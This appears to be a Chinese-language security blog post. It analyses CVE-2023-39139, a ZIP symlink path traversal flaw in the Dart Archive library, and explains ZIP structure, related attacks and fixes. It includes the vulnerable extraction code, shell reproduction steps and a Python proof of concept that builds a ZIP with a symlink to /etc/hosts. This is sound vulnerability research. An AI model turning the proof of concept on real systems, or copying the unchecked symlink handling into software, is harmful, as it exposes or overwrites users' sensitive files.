深度解析:Archive库路径遍历漏洞(CVE-2023-39139)与ZIP压缩包安全威胁

本文详细分析了在Dart Archive包中发现的ZIP符号链接路径遍历漏洞(CVE-2023-39139),探讨了ZIP文件的内部结构、常见安全风险,并通过PoC代码展示了攻击原理,为开发者提供了深刻的安全启示。

ZIP压缩包安全风险深度解析:以Archive库路径遍历漏洞(CVE-2023-39139)为例

漏洞概述

CVE-2023-39139是一个影响Archive库v3.3.7版本的高危安全漏洞,CVSS评分达到7.8(高危级别)。该漏洞允许攻击者通过特制的ZIP文件在提取时执行路径遍历攻击,具体表现为ZIP符号链接路径遍历

该漏洞的根本问题在于Archive库在处理包含符号链接的ZIP文件时,未能正确验证符号链接指向的路径是否位于提取目录内。这使得攻击者可以创建指向外部目录(如系统敏感文件)的符号链接,一旦提取,这些链接会被重新创建并指向预期外的位置。

ZIP文件结构分析

要理解此类漏洞,首先需要了解ZIP文件的基本结构:

ZIP文件主要组成部分

本地文件头(Local File Header) 每个ZIP文件中被压缩文件的起始部分,包含文件名、压缩方法、修改时间、CRC-32校验和、压缩前后大小等关键信息。

数据描述符(Data Descriptor,可选) 存储未压缩数据的CRC-32校验和、压缩大小和未压缩大小,用于完整性验证。

中央目录文件头(Central Directory File Header) ZIP文件的“目录”,包含每个文件的完整元数据信息,如文件名、压缩方法、属性等。

中央目录结束记录(End of Central Directory Record) 标记中央目录结构结束,包含中央目录条目数量、大小和起始偏移量等信息。

常见的ZIP安全漏洞

1. ZIP路径遍历(Zip Slip)

当应用程序在提取ZIP文件时未能正确验证文件条目名称,攻击者可以构造恶意文件名(如../../etc/passwd),使文件被提取到预期目录之外,可能导致敏感数据被覆盖或代码执行。

2. ZIP文件名欺骗

由于ZIP文件中存在两个文件名存储位置(本地文件头和中央目录),如果解析器对这两处读取不一致,攻击者可以构造恶意文件,使文件在提取前后呈现不同名称。

3. ZIP符号链接路径遍历

某些ZIP实用程序允许在存档中包含符号链接。如果解析器不加限制地恢复这些符号链接,攻击者可以创建指向提取目录外部的链接,从而访问或覆盖敏感系统文件。

4. ZIP炸弹(Zip Bomb)

体积极小但解压后极大的ZIP文件,可能消耗大量系统资源,导致拒绝服务(DoS)。

技术细节分析

Archive库漏洞详情

在Archive库中发现的关键问题体现在以下代码片段:

1
2
3
4
if (file.isSymbolicLink) {
  final link = Link(filePath);
  await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
}

这段代码在处理符号链接时,直接使用p.normalize(file.nameOfLinkedFile)创建链接,而缺少了对目标路径是否位于提取目录内的验证。虽然代码中有一个isWithinOutputPath的检查,但它仅应用于主文件路径,未应用于符号链接指向的路径。

漏洞复现步骤

  1. 创建一个指向父目录文件的符号链接:

    1
    
    ln -s ../secret.txt evil
    
  2. 将该符号链接打包成ZIP文件:

    1
    
    zip --symlinks poc.zip evil
    
  3. 在Android测试设备上使用Archive库的extractFileToDisk函数提取该ZIP文件

  4. 提取后,符号链接evil会被恢复并指向../secret.txt,即提取目录外的文件

证明概念(PoC)代码

以下是生成恶意ZIP文件的Python示例代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import zipfile

def compress_file(filename):
    zipInfo = zipfile.ZipInfo("")
    zipInfo.create_system = 3
    zipInfo.external_attr = 2716663808  # 设置文件属性为符号链接
    zipInfo.filename = filename
    
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        # 写入指向/etc/hosts的符号链接
        zipf.writestr(zipInfo, "/etc/hosts")

filename = 'evil'
compress_file(filename)

影响与危害

此漏洞可能导致的后果包括:

  1. 敏感数据泄露:通过符号链接访问系统敏感文件(如/etc/passwd/etc/shared_prefs等)
  2. 数据完整性破坏:覆盖应用程序配置文件或用户数据
  3. 潜在代码执行:如果攻击者能够覆盖应用程序的共享对象文件或脚本
  4. 权限提升:在特定条件下可能绕过沙箱限制

修复与缓解措施

Archive库在后续版本中修复了此漏洞。开发者应采取以下措施:

  1. 立即升级:将Archive库升级到3.3.8或更高版本
  2. 输入验证:在处理用户提供的ZIP文件前,实施严格的文件名验证
  3. 沙箱环境:在受限环境中解压不可信ZIP文件
  4. 安全扫描:对ZIP文件进行安全扫描,检测恶意结构
  5. 最小权限原则:以最低必要权限运行解压操作

相关漏洞

在Ostorlab的研究中,还发现了Archive库中的另一个相关漏洞:

CVE-2023-39137 - ZIP文件名欺骗 Archive库仅从本地文件头解析文件名,而大多数ZIP解析器通常优先使用中央目录条目。这种不一致性可被攻击者利用,通过构造在本地文件头和中央目录条目中具有不同文件名的恶意ZIP文件,使文件在提取前后具有不同名称。

结论

CVE-2023-39139揭示了在解析复杂文件格式(如ZIP)时常见的安全陷阱。即使有基本的安全检查(如路径规范化),也可能因为对特定情况(如符号链接)考虑不周而导致漏洞。

对于处理压缩文件的开发者来说,必须:

  1. 充分理解所处理文件格式的复杂性
  2. 对所有可能的入口点进行安全验证
  3. 保持依赖库的最新状态
  4. 在安全开发生命周期中纳入文件解析测试

此漏洞的研究不仅对Archive库用户有直接指导意义,也为所有处理压缩文件的开发者提供了重要的安全警示。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计